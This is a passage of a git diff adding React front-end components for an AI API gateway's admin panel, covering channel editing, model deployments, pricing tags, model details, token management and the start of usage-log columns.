+                          content: (
+                            <span
+                              className='cursor-pointer select-none'
+                              role='button'
+                              tabIndex={0}
+                              title={t('点击复制模型名称')}
+                              onClick={async (e) => {
+                                e.stopPropagation();
+                                const ok = await copy(modelName);
+                                if (ok) {
+                                  showSuccess(
+                                    t('已复制：{{name}}', { name: modelName }),
+                                  );
+                                } else {
+                                  showError(t('复制失败'));
+                                }
+                              }}
+                            >
+                              {optionNode.label || modelName}
+                            </span>
+                          ),
+                        };
+                      }}
+                      extraText={
+                        <Space>
+                          <Button
+                            size='small'
+                            type='primary'
+                            onClick={() =>
+                              handleInputChange('models', basicModels)
+                            }
+                          >
+                            {t('填入相关模型')}
+                          </Button>
+                          {MODEL_FETCHABLE_CHANNEL_TYPES.has(inputs.type) && (
+                            <Button
+                              size='small'
+                              type='tertiary'
+                              onClick={() => fetchUpstreamModelList('models')}
+                            >
+                              {t('获取模型列表')}
+                            </Button>
+                          )}
+                          <Dropdown
+                            trigger='click'
+                            position='bottomRight'
+                            menu={[
+                              { node: 'item', name: t('填入所有模型'), onClick: () => handleInputChange('models', fullModels) },
+                              ...(inputs.type === 4 && isEdit ? [{ node: 'item', name: t('Ollama 模型管理'), onClick: () => setOllamaModalVisible(true) }] : []),
+                              { node: 'divider' },
+                              { node: 'item', name: t('复制所有模型'), onClick: () => {
+                                if (inputs.models.length === 0) { showInfo(t('没有模型可以复制')); return; }
+                                try { copy(inputs.models.join(',')); showSuccess(t('模型列表已复制到剪贴板')); } catch (error) { showError(t('复制失败')); }
+                              }},
+                              { node: 'item', name: t('清除所有模型'), type: 'danger', onClick: () => handleInputChange('models', []) },
+                              ...((modelGroups && modelGroups.length > 0) ? [
+                                { node: 'divider' },
+                                ...modelGroups.map((group) => ({
+                                  node: 'item',
+                                  name: group.name,
+                                  onClick: () => {
+                                    let items = [];
+                                    try {
+                                      if (Array.isArray(group.items)) { items = group.items; }
+                                      else if (typeof group.items === 'string') {
+                                        const parsed = JSON.parse(group.items || '[]');
+                                        if (Array.isArray(parsed)) items = parsed;
+                                      }
+                                    } catch {}
+                                    const current = formApiRef.current?.getValue('models') || inputs.models || [];
+                                    const merged = Array.from(new Set([...current, ...items].map((m) => (m || '').trim()).filter(Boolean)));
+                                    handleInputChange('models', merged);
+                                  },
+                                })),
+                              ] : []),
+                            ]}
+                          >
+                            <Button size='small' type='tertiary'>
+                              {t('更多')} <IconChevronDown size={12} />
+                            </Button>
+                          </Dropdown>
+                        </Space>
+                      }
+                    />
+
+                  {/* Custom Model Name - Core Config */}
+                  <Form.Input
+                    field='custom_model'
+                    label={t('自定义模型名称')}
+                    placeholder={t('输入自定义模型名称')}
+                    onChange={(value) => setCustomModel(value.trim())}
+                    value={customModel}
+                    suffix={
+                      <Button
+                        size='small'
+                        type='primary'
+                        onClick={addCustomModels}
+                      >
+                        {t('填入')}
+                      </Button>
+                    }
+                  />
+
+                  {/* Groups - Core Config */}
+                  <Form.Select
+                    field='groups'
+                    label={t('分组')}
+                    placeholder={t('请选择可以使用该渠道的分组')}
+                    multiple
+                    allowAdditions
+                    additionLabel={t(
+                      '请在系统设置页面编辑分组倍率以添加新的分组：',
+                    )}
+                    optionList={groupOptions}
+                    style={{ width: '100%' }}
+                    position='top'
+                    onChange={(value) => handleInputChange('groups', value)}
+                  />
+
+                  {/* Model Mapping - Core Config */}
+                  <JSONEditor
+                    key={`model_mapping-${isEdit ? channelId : 'new'}`}
+                    field='model_mapping'
+                    label={t('模型重定向')}
+                    placeholder={
+                      t(
+                        '此项可选，用于修改请求体中的模型名称，为一个 JSON 字符串，键为请求中模型名称，值为要替换的模型名称，例如：',
+                      ) +
+                      `\n${JSON.stringify(MODEL_MAPPING_EXAMPLE, null, 2)}`
+                    }
+                    value={inputs.model_mapping || ''}
+                    onChange={(value) =>
+                      handleInputChange('model_mapping', value)
+                    }
+                    template={MODEL_MAPPING_EXAMPLE}
+                    templateLabel={t('填入模板')}
+                    editorType='keyValue'
+                    formApi={formApiRef.current}
+                    renderStringValueSuffix={({ pairKey, value }) => {
+                      if (!MODEL_FETCHABLE_CHANNEL_TYPES.has(inputs.type)) {
+                        return null;
+                      }
+                      const disabled = !String(pairKey ?? '').trim();
+                      return (
+                        <Tooltip content={t('选择模型')}>
+                          <Button
+                            type='tertiary'
+                            theme='borderless'
+                            size='small'
+                            icon={<IconSearch size={14} />}
+                            disabled={disabled}
+                            onClick={(e) => {
+                              e.stopPropagation();
+                              openModelMappingValueModal({ pairKey, value });
+                            }}
+                          />
+                        </Tooltip>
+                      );
+                    }}
+                    extraText={t(
+                      '键为请求中的模型名称，值为要替换的模型名称',
+                    )}
+                  />
+
+                  {/* Auto Ban - Core Config */}
+                  <Form.Switch
+                    field='auto_ban'
+                    label={t('是否自动禁用')}
+                    checkedText={t('开')}
+                    uncheckedText={t('关')}
+                    onChange={(value) => setAutoBan(value)}
+                    extraText={t(
+                      '仅当自动禁用开启时有效，关闭后不会自动禁用该渠道',
+                    )}
+                    initValue={autoBan}
+                  />
+
+                  {/* Test Model - Core Config */}
+                  <Form.Input
+                    field='test_model'
+                    label={t('默认测试模型')}
+                    placeholder={t('不填则为模型列表第一个')}
+                    onChange={(value) =>
+                      handleInputChange('test_model', value)
+                    }
+                    showClear
+                  />
+                </Card>
+
+                {/* Advanced Settings Toggle / Collapse */}
+                {isMobile ? (
+                <Collapse
+                  activeKey={advancedSettingsOpen ? ['advanced'] : []}
+                  onChange={(keys) => toggleAdvancedSettings(keys.includes('advanced'))}
+                >
+                  <Collapse.Panel
+                    header={
+                      <div className='flex items-center gap-2'>
+                        <IconSetting size={16} />
+                        <Text className='font-medium'>{t('高级设置')}</Text>
+                      </div>
+                    }
+                    itemKey='advanced'
+                  >
+                    {advancedSettingsContent}
+                  </Collapse.Panel>
+                </Collapse>
+                ) : (
+                  /* Desktop: toggle button to open side panel */
+                  <div
+                    className='flex items-center justify-between p-3 rounded-xl cursor-pointer transition-colors hover:bg-gray-50'
+                    style={{
+                      backgroundColor: advancedSettingsOpen ? 'var(--semi-color-primary-light-default)' : 'var(--semi-color-fill-0)',
+                      border: '1px solid var(--semi-color-fill-2)',
+                    }}
+                    onClick={() => toggleAdvancedSettings(!advancedSettingsOpen)}
+                  >
+                    <div className='flex items-center gap-2'>
+                      <IconSetting size={16} />
+                      <Text className='font-medium'>{t('高级设置')}</Text>
+                    </div>
+                    <div className='flex items-center gap-1 text-sm' style={{ color: 'var(--semi-color-primary)' }}>
+                      <Text size='small' style={{ color: 'var(--semi-color-primary)' }}>
+                        {advancedSettingsOpen ? t('收起') : isEdit ? t('向左展开') : t('向右展开')}
+                      </Text>
+                      <IconChevronDown
+                        size={14}
+                        style={{
+                          transform: advancedSettingsOpen
+                            ? 'rotate(180deg)'
+                            : isEdit ? 'rotate(90deg)' : 'rotate(-90deg)',
+                          transition: 'transform 0.2s',
+                        }}
+                      />
+                    </div>
+                  </div>
+                )}
+              </div>
+            </Spin>
+
+            {/* Desktop: Advanced Settings Side Panel - rendered inside Form tree */}
+            {!isMobile && advancedSettingsOpen && (
+              <div
+                className='fixed top-0 h-full overflow-y-auto z-[999] semi-sidesheet-inner'
+                style={{
+                  width: 600,
+                  [isEdit ? 'right' : 'left']: 600,
+                  backgroundColor: 'var(--semi-color-bg-0)',
+                  borderLeft: isEdit ? 'none' : '1px solid var(--semi-color-border)',
+                  borderRight: isEdit ? '1px solid var(--semi-color-border)' : 'none',
+                  animation: `slideIn${isEdit ? 'Left' : 'Right'} 0.3s ease-out`,
+                }}
+              >
+                <div className='semi-sidesheet-header'>
+                  <div className='semi-sidesheet-title'>
+                    <Space>
+                      <Tag color='cyan' shape='circle'>
+                        {t('高级')}
+                      </Tag>
+                      <Title heading={4} className='m-0'>
+                        {t('高级设置')}
+                      </Title>
+                    </Space>
+                  </div>
+                  <Button
+                    className='semi-sidesheet-close'
+                    type='tertiary'
+                    theme='borderless'
+                    icon={<IconClose />}
+                    size='small'
+                    onClick={() => setAdvancedSettingsOpen(false)}
+                  />
+                </div>
+                <div className='semi-sidesheet-body' style={{ padding: 0 }}>
+                  <div className='p-2 space-y-3'>
+                    <Card className='!rounded-2xl shadow-sm border-0'>
+                      <div className='flex items-center mb-4'>
+                        <Avatar
+                          size='small'
+                          color='orange'
+                          className='mr-2 shadow-md'
+                        >
+                          <IconSetting size={16} />
+                        </Avatar>
+                        <div>
+                          <Text className='text-lg font-medium'>
+                            {t('高级设置')}
+                          </Text>
+                          <div className='text-xs text-gray-600'>
+                            {t('渠道的高级配置选项')}
+                          </div>
+                        </div>
+                      </div>
+                      {advancedSettingsContent}
+                    </Card>
+                  </div>
+                </div>
+              </div>
+            )}
+            </>
+          );
+          }}
+        </Form>
+
+        <ImagePreview
+          src={modalImageUrl}
+          visible={isModalOpenurl}
+          onVisibleChange={(visible) => setIsModalOpenurl(visible)}
+        />
+      </SideSheet>
+      <StatusCodeRiskGuardModal
+        visible={statusCodeRiskConfirmVisible}
+        detailItems={statusCodeRiskDetailItems}
+        onCancel={() => resolveStatusCodeRiskConfirm(false)}
+        onConfirm={() => resolveStatusCodeRiskConfirm(true)}
+      />
+      {/* 使用通用安全验证模态框 */}
+      <SecureVerificationModal
+        visible={isModalVisible}
+        verificationMethods={verificationMethods}
+        verificationState={verificationState}
+        onVerify={executeVerification}
+        onCancel={cancelVerification}
+        onCodeChange={setVerificationCode}
+        onMethodSwitch={switchVerificationMethod}
+        title={verificationState.title}
+        description={verificationState.description}
+      />
+
+      {/* 使用ChannelKeyDisplay组件显示密钥 */}
+      <Modal
+        title={
+          <div className='flex items-center'>
+            <div className='w-8 h-8 rounded-full bg-green-100 dark:bg-green-900 flex items-center justify-center mr-3'>
+              <svg
+                className='w-4 h-4 text-green-600 dark:text-green-400'
+                fill='currentColor'
+                viewBox='0 0 20 20'
+              >
+                <path
+                  fillRule='evenodd'
+                  d='M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z'
+                  clipRule='evenodd'
+                />
+              </svg>
+            </div>
+            {t('渠道密钥信息')}
+          </div>
+        }
+        visible={keyDisplayState.showModal}
+        onCancel={resetKeyDisplayState}
+        footer={
+          <Button type='primary' onClick={resetKeyDisplayState}>
+            {t('完成')}
+          </Button>
+        }
+        width={700}
+        style={{ maxWidth: '90vw' }}
+      >
+        <ChannelKeyDisplay
+          keyData={keyDisplayState.keyData}
+          showSuccessIcon={true}
+          successText={t('密钥获取成功')}
+          showWarning={true}
+          warningText={t(
+            '请妥善保管密钥信息，不要泄露给他人。如有安全疑虑，请及时更换密钥。',
+          )}
+        />
+      </Modal>
+
+      <ParamOverrideEditorModal
+        visible={paramOverrideEditorVisible}
+        value={inputs.param_override || ''}
+        onCancel={() => setParamOverrideEditorVisible(false)}
+        onSave={(nextValue) => {
+          handleInputChange('param_override', nextValue);
+          setParamOverrideEditorVisible(false);
+        }}
+      />
+
+      <ModelSelectModal
+        visible={modelModalVisible}
+        models={fetchedModels}
+        selected={inputs.models}
+        redirectModels={redirectModelList}
+        redirectSourceModels={redirectModelKeyList}
+        onConfirm={(selectedModels) => {
+          handleInputChange('models', selectedModels);
+          showSuccess(t('模型列表已更新'));
+          setModelModalVisible(false);
+        }}
+        onCancel={() => setModelModalVisible(false)}
+      />
+
+      <SingleModelSelectModal
+        visible={modelMappingValueModalVisible}
+        models={modelMappingValueModalModels}
+        selected={modelMappingValueSelected}
+        onConfirm={(selectedModel) => {
+          const modelName = String(selectedModel ?? '').trim();
+          if (!modelName) {
+            showError(t('请先选择模型！'));
+            return;
+          }
+
+          const mappingKey = String(modelMappingValueKey ?? '').trim();
+          if (!mappingKey) {
+            setModelMappingValueModalVisible(false);
+            return;
+          }
+
+          let parsed = {};
+          const currentMapping = inputs.model_mapping;
+          if (typeof currentMapping === 'string' && currentMapping.trim()) {
+            try {
+              parsed = JSON.parse(currentMapping);
+            } catch (error) {
+              parsed = {};
+            }
+          } else if (
+            currentMapping &&
+            typeof currentMapping === 'object' &&
+            !Array.isArray(currentMapping)
+          ) {
+            parsed = currentMapping;
+          }
+          if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+            parsed = {};
+          }
+
+          parsed[mappingKey] = modelName;
+          const nextMapping = JSON.stringify(parsed, null, 2);
+          handleInputChange('model_mapping', nextMapping);
+          if (formApiRef.current) {
+            formApiRef.current.setValue('model_mapping', nextMapping);
+          }
+          setModelMappingValueModalVisible(false);
+        }}
+        onCancel={() => setModelMappingValueModalVisible(false)}
+      />
+
+      <OllamaModelModal
+        visible={ollamaModalVisible}
+        onCancel={() => setOllamaModalVisible(false)}
+        channelId={channelId}
+        channelInfo={inputs}
+        onModelsUpdate={(options = {}) => {
+          // 当模型更新后，重新获取模型列表以更新表单
+          fetchUpstreamModelList('models', { silent: !!options.silent });
+        }}
+        onApplyModels={({ mode, modelIds } = {}) => {
+          if (!Array.isArray(modelIds) || modelIds.length === 0) {
+            return;
+          }
+          const existingModels = Array.isArray(inputs.models)
+            ? inputs.models.map(String)
+            : [];
+          const incoming = modelIds.map(String);
+          const nextModels = Array.from(
+            new Set([...existingModels, ...incoming]),
+          );
+
+          handleInputChange('models', nextModels);
+          if (formApiRef.current) {
+            formApiRef.current.setValue('models', nextModels);
+          }
+          showSuccess(t('模型列表已追加更新'));
+        }}
+      />
+    </>
+  );
+};
+
+export default EditChannelModal;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/model-deployments/DeploymentsTable.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/model-deployments/DeploymentsTable.jsx
new file mode 100644
index 0000000..7a7eb98
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/model-deployments/DeploymentsTable.jsx
@@ -0,0 +1,247 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useMemo, useState } from 'react';
+import { Empty } from '@douyinfe/semi-ui';
+import CardTable from '../../common/ui/CardTable';
+import {
+  IllustrationNoResult,
+  IllustrationNoResultDark,
+} from '@douyinfe/semi-illustrations';
+import { getDeploymentsColumns } from './DeploymentsColumnDefs';
+
+// Import all the new modals
+import ViewLogsModal from './modals/ViewLogsModal';
+import ExtendDurationModal from './modals/ExtendDurationModal';
+import ViewDetailsModal from './modals/ViewDetailsModal';
+import UpdateConfigModal from './modals/UpdateConfigModal';
+import ConfirmationDialog from './modals/ConfirmationDialog';
+
+const DeploymentsTable = (deploymentsData) => {
+  const {
+    deployments,
+    loading,
+    searching,
+    activePage,
+    pageSize,
+    deploymentCount,
+    compactMode,
+    visibleColumns,
+    rowSelection,
+    batchOperationsEnabled = true,
+    handlePageChange,
+    handlePageSizeChange,
+    handleRow,
+    t,
+    COLUMN_KEYS,
+    // Column functions and data
+    startDeployment,
+    restartDeployment,
+    deleteDeployment,
+    syncDeploymentToChannel,
+    setEditingDeployment,
+    setShowEdit,
+    refresh,
+  } = deploymentsData;
+
+  // Modal states
+  const [selectedDeployment, setSelectedDeployment] = useState(null);
+  const [showLogsModal, setShowLogsModal] = useState(false);
+  const [showExtendModal, setShowExtendModal] = useState(false);
+  const [showDetailsModal, setShowDetailsModal] = useState(false);
+  const [showConfigModal, setShowConfigModal] = useState(false);
+  const [showConfirmDialog, setShowConfirmDialog] = useState(false);
+  const [confirmOperation, setConfirmOperation] = useState('delete');
+
+  // Enhanced modal handlers
+  const handleViewLogs = (deployment) => {
+    setSelectedDeployment(deployment);
+    setShowLogsModal(true);
+  };
+
+  const handleExtendDuration = (deployment) => {
+    setSelectedDeployment(deployment);
+    setShowExtendModal(true);
+  };
+
+  const handleViewDetails = (deployment) => {
+    setSelectedDeployment(deployment);
+    setShowDetailsModal(true);
+  };
+
+  const handleUpdateConfig = (deployment, operation = 'update') => {
+    setSelectedDeployment(deployment);
+    if (operation === 'delete' || operation === 'destroy') {
+      setConfirmOperation(operation);
+      setShowConfirmDialog(true);
+    } else {
+      setShowConfigModal(true);
+    }
+  };
+
+  const handleConfirmAction = () => {
+    if (
+      selectedDeployment &&
+      (confirmOperation === 'delete' || confirmOperation === 'destroy')
+    ) {
+      deleteDeployment(selectedDeployment.id);
+    }
+    setShowConfirmDialog(false);
+    setSelectedDeployment(null);
+  };
+
+  const handleModalSuccess = (updatedDeployment) => {
+    // Refresh the deployments list
+    refresh?.();
+  };
+
+  // Get all columns
+  const allColumns = useMemo(() => {
+    return getDeploymentsColumns({
+      t,
+      COLUMN_KEYS,
+      startDeployment,
+      restartDeployment,
+      deleteDeployment,
+      setEditingDeployment,
+      setShowEdit,
+      refresh,
+      activePage,
+      deployments,
+      // Enhanced handlers
+      onViewLogs: handleViewLogs,
+      onExtendDuration: handleExtendDuration,
+      onViewDetails: handleViewDetails,
+      onUpdateConfig: handleUpdateConfig,
+      onSyncToChannel: syncDeploymentToChannel,
+    });
+  }, [
+    t,
+    COLUMN_KEYS,
+    startDeployment,
+    restartDeployment,
+    deleteDeployment,
+    syncDeploymentToChannel,
+    setEditingDeployment,
+    setShowEdit,
+    refresh,
+    activePage,
+    deployments,
+  ]);
+
+  // Filter columns based on visibility settings
+  const getVisibleColumns = () => {
+    return allColumns.filter((column) => visibleColumns[column.key]);
+  };
+
+  const visibleColumnsList = useMemo(() => {
+    return getVisibleColumns();
+  }, [visibleColumns, allColumns]);
+
+  const tableColumns = useMemo(() => {
+    if (compactMode) {
+      // In compact mode, remove fixed columns and adjust widths
+      return visibleColumnsList.map(({ fixed, width, ...rest }) => ({
+        ...rest,
+        width: width ? Math.max(width * 0.8, 80) : undefined, // Reduce width by 20% but keep minimum
+      }));
+    }
+    return visibleColumnsList;
+  }, [compactMode, visibleColumnsList]);
+
+  return (
+    <>
+      <CardTable
+        columns={tableColumns}
+        dataSource={deployments}
+        scroll={compactMode ? { x: 800 } : { x: 1200 }}
+        pagination={{
+          currentPage: activePage,
+          pageSize: pageSize,
+          total: deploymentCount,
+          pageSizeOpts: [10, 20, 50, 100],
+          showSizeChanger: true,
+          onPageSizeChange: handlePageSizeChange,
+          onPageChange: handlePageChange,
+        }}
+        hidePagination={true}
+        expandAllRows={false}
+        onRow={handleRow}
+        rowSelection={batchOperationsEnabled ? rowSelection : undefined}
+        empty={
+          <Empty
+            image={<IllustrationNoResult style={{ width: 150, height: 150 }} />}
+            darkModeImage={
+              <IllustrationNoResultDark style={{ width: 150, height: 150 }} />
+            }
+            description={t('搜索无结果')}
+            style={{ padding: 30 }}
+          />
+        }
+        className='rounded-xl overflow-hidden'
+        size='middle'
+        loading={loading || searching}
+      />
+
+      {/* Enhanced Modals */}
+      <ViewLogsModal
+        visible={showLogsModal}
+        onCancel={() => setShowLogsModal(false)}
+        deployment={selectedDeployment}
+        t={t}
+      />
+
+      <ExtendDurationModal
+        visible={showExtendModal}
+        onCancel={() => setShowExtendModal(false)}
+        deployment={selectedDeployment}
+        onSuccess={handleModalSuccess}
+        t={t}
+      />
+
+      <ViewDetailsModal
+        visible={showDetailsModal}
+        onCancel={() => setShowDetailsModal(false)}
+        deployment={selectedDeployment}
+        t={t}
+      />
+
+      <UpdateConfigModal
+        visible={showConfigModal}
+        onCancel={() => setShowConfigModal(false)}
+        deployment={selectedDeployment}
+        onSuccess={handleModalSuccess}
+        t={t}
+      />
+
+      <ConfirmationDialog
+        visible={showConfirmDialog}
+        onCancel={() => setShowConfirmDialog(false)}
+        onConfirm={handleConfirmAction}
+        title={t('确认操作')}
+        type='danger'
+        deployment={selectedDeployment}
+        operation={confirmOperation}
+        t={t}
+      />
+    </>
+  );
+};
+
+export default DeploymentsTable;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/model-pricing/filter/PricingTags.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/model-pricing/filter/PricingTags.jsx
new file mode 100644
index 0000000..4dee913
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/model-pricing/filter/PricingTags.jsx
@@ -0,0 +1,109 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import SelectableButtonGroup from '../../../common/ui/SelectableButtonGroup';
+
+/**
+ * 模型标签筛选组件
+ * @param {string|'all'} filterTag 当前选中的标签
+ * @param {Function} setFilterTag setter
+ * @param {Array} models 当前过滤后模型列表（用于计数）
+ * @param {Array} allModels 所有模型列表（用于获取所有标签）
+ * @param {boolean} loading 是否加载中
+ * @param {Function} t i18n
+ */
+const PricingTags = ({
+  filterTag,
+  setFilterTag,
+  models = [],
+  allModels = [],
+  loading = false,
+  t,
+}) => {
+  // 提取系统所有标签
+  const getAllTags = React.useMemo(() => {
+    const tagSet = new Set();
+
+    (allModels.length > 0 ? allModels : models).forEach((model) => {
+      if (model.tags) {
+        model.tags
+          .split(/[,;|]+/) // 逗号、分号或竖线（保留空格，允许多词标签如 "open weights"）
+          .map((tag) => tag.trim())
+          .filter(Boolean)
+          .forEach((tag) => tagSet.add(tag.toLowerCase()));
+      }
+    });
+
+    return Array.from(tagSet).sort((a, b) => a.localeCompare(b));
+  }, [allModels, models]);
+
+  // 计算标签对应的模型数量
+  const getTagCount = React.useCallback(
+    (tag) => {
+      if (tag === 'all') return models.length;
+
+      const tagLower = tag.toLowerCase();
+      return models.filter((model) => {
+        if (!model.tags) return false;
+        return model.tags
+          .toLowerCase()
+          .split(/[,;|]+/)
+          .map((tg) => tg.trim())
+          .includes(tagLower);
+      }).length;
+    },
+    [models],
+  );
+
+  const items = React.useMemo(() => {
+    const result = [
+      {
+        value: 'all',
+        label: t('全部标签'),
+        tagCount: getTagCount('all'),
+      },
+    ];
+
+    getAllTags.forEach((tag) => {
+      const count = getTagCount(tag);
+      result.push({
+        value: tag,
+        label: tag,
+        tagCount: count,
+      });
+    });
+
+    return result;
+  }, [getAllTags, getTagCount, t, models.length]);
+
+  return (
+    <SelectableButtonGroup
+      title={t('标签')}
+      items={items}
+      activeValue={filterTag}
+      onChange={setFilterTag}
+      loading={loading}
+      variant='rose'
+      t={t}
+    />
+  );
+};
+
+export default PricingTags;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/model-pricing/modal/ModelDetailSideSheet.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/model-pricing/modal/ModelDetailSideSheet.jsx
new file mode 100644
index 0000000..f187339
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/model-pricing/modal/ModelDetailSideSheet.jsx
@@ -0,0 +1,132 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { SideSheet, Typography, Button, Divider } from '@douyinfe/semi-ui';
+import { IconClose } from '@douyinfe/semi-icons';
+
+import { useIsMobile } from '../../../../hooks/common/useIsMobile';
+import ModelHeader from './components/ModelHeader';
+import ModelBasicInfo from './components/ModelBasicInfo';
+import ModelEndpoints from './components/ModelEndpoints';
+import ModelPricingTable from './components/ModelPricingTable';
+import DynamicPricingBreakdown from './components/DynamicPricingBreakdown';
+
+const { Text } = Typography;
+
+const ModelDetailSideSheet = ({
+  visible,
+  onClose,
+  modelData,
+  groupRatio,
+  currency,
+  siteDisplayType,
+  tokenUnit,
+  displayPrice,
+  showRatio,
+  usableGroup,
+  vendorsMap,
+  endpointMap,
+  autoGroups,
+  t,
+}) => {
+  const isMobile = useIsMobile();
+
+  return (
+    <SideSheet
+      placement='right'
+      title={
+        <ModelHeader modelData={modelData} vendorsMap={vendorsMap} t={t} />
+      }
+      bodyStyle={{
+        padding: '0',
+        display: 'flex',
+        flexDirection: 'column',
+        borderBottom: '1px solid var(--semi-color-border)',
+      }}
+      visible={visible}
+      width={isMobile ? '100%' : 600}
+      closeIcon={
+        <Button
+          className='semi-button-tertiary semi-button-size-small semi-button-borderless'
+          type='button'
+          icon={<IconClose />}
+          onClick={onClose}
+        />
+      }
+      onCancel={onClose}
+    >
+      <div style={{ paddingTop: 16, paddingBottom: 16 }}>
+        {!modelData && (
+          <div className='flex justify-center items-center py-10'>
+            <Text type='secondary'>{t('加载中...')}</Text>
+          </div>
+        )}
+        {modelData && (
+          <>
+            <div style={{ padding: '0 24px' }}>
+              <ModelBasicInfo
+                modelData={modelData}
+                vendorsMap={vendorsMap}
+                t={t}
+              />
+            </div>
+            <Divider margin={16} />
+            <div style={{ padding: '0 24px' }}>
+              <ModelEndpoints
+                modelData={modelData}
+                endpointMap={endpointMap}
+                t={t}
+              />
+            </div>
+            {modelData.billing_mode === 'tiered_expr' && modelData.billing_expr && (
+              <>
+                <Divider margin={16} />
+                <div style={{ padding: '0 24px' }}>
+                  <DynamicPricingBreakdown
+                    billingExpr={modelData.billing_expr}
+                    t={t}
+                  />
+                </div>
+              </>
+            )}
+            <Divider margin={16} />
+            <div style={{ padding: '0 24px' }}>
+              <ModelPricingTable
+                modelData={modelData}
+                groupRatio={groupRatio}
+                currency={currency}
+                siteDisplayType={siteDisplayType}
+                tokenUnit={tokenUnit}
+                displayPrice={displayPrice}
+                showRatio={showRatio}
+                usableGroup={usableGroup}
+                autoGroups={autoGroups}
+                t={t}
+              />
+            </div>
+            <Divider margin={16} />
+          </>
+        )}
+      </div>
+    </SideSheet>
+  );
+};
+
+export default ModelDetailSideSheet;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/tokens/TokensDescription.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/tokens/TokensDescription.jsx
new file mode 100644
index 0000000..14baaa8
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/tokens/TokensDescription.jsx
@@ -0,0 +1,44 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import { Typography } from '@douyinfe/semi-ui';
+import { Key } from 'lucide-react';
+import CompactModeToggle from '../../common/ui/CompactModeToggle';
+
+const { Text } = Typography;
+
+const TokensDescription = ({ compactMode, setCompactMode, t }) => {
+  return (
+    <div className='flex flex-col md:flex-row justify-between items-start md:items-center gap-2 w-full'>
+      <div className='flex items-center text-blue-500'>
+        <Key size={16} className='mr-2' />
+        <Text>{t('令牌管理')}</Text>
+      </div>
+
+      <CompactModeToggle
+        compactMode={compactMode}
+        setCompactMode={setCompactMode}
+        t={t}
+      />
+    </div>
+  );
+};
+
+export default TokensDescription;
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/usage-logs/UsageLogsColumnDefs.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/usage-logs/UsageLogsColumnDefs.jsx
new file mode 100644
index 0000000..07e6fbb
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/usage-logs/UsageLogsColumnDefs.jsx
@@ -0,0 +1,936 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import {
+  Avatar,
+  Space,
+  Tag,
+  Tooltip,
+  Popover,
+  Typography,
+} from '@douyinfe/semi-ui';
+import {
+  renderGroup,
+  renderQuota,
+  stringToColor,
+  getLogOther,
+  renderModelTag,
+  renderModelPriceSimple,
+  renderTieredModelPriceSimple,
+} from '../../../helpers';
+import { IconHelpCircle } from '@douyinfe/semi-icons';
+import { CircleAlert, Route, Sparkles } from 'lucide-react';
+
+const colors = [
+  'amber',
+  'blue',
+  'cyan',
+  'green',
+  'grey',
+  'indigo',
